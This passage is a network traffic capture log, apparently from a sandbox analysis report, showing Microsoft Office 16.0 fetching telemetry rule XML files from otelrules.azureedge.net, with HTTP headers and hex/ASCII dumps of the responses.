EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49861	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:07 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:07 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210707Z-1777c6cb754j47wfhC1TEB5wrw00000004kg0000000002zv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:07 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49863	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:07 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:07 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:07 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 1afac609-801e-00a3-2b8c-3a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210707Z-1777c6cb754wcxkwhC1TEB3c6w00000008dg00000000x89q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:07 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49865	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:07 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:07 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210707Z-r1d97b99577hsvhhhC1TEByb1w000000029g0000000000uw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:07 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49866	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:07 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:08 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210708Z-1777c6cb754mrj2shC1TEB6k7w00000008n000000000wat8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:08 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49867	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:07 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:08 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210708Z-r1d97b99577656nchC1TEBk98c00000007ug00000000qrb1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:08 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49868	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:07 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:08 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210708Z-r1d97b9957747b9jhC1TEBgyec000000080000000000b5f7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:08 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49870	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:08 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:08 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210708Z-1777c6cb754b7tdghC1TEBwwa400000008r000000000g6th x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:08 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49869	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:08 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:08 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210708Z-r1d97b995774n5h6hC1TEBvf8400000007x0000000007bep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:08 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49871	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:08 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:08 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210708Z-1777c6cb7544nvmshC1TEBf7qc00000008dg00000000engm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:08 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49872	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:08 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:08 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210708Z-1777c6cb754rz2pghC1TEBghen00000008fg00000000gpvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:08 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49873	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:08 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:08 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210708Z-r1d97b99577jlrkbhC1TEBq8d000000007qg00000000kw7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:08 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49874	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:08 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:08 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: f390f01b-d01e-0017-588c-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210708Z-1777c6cb7549x5qchC1TEBggbg00000008sg0000000048hv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
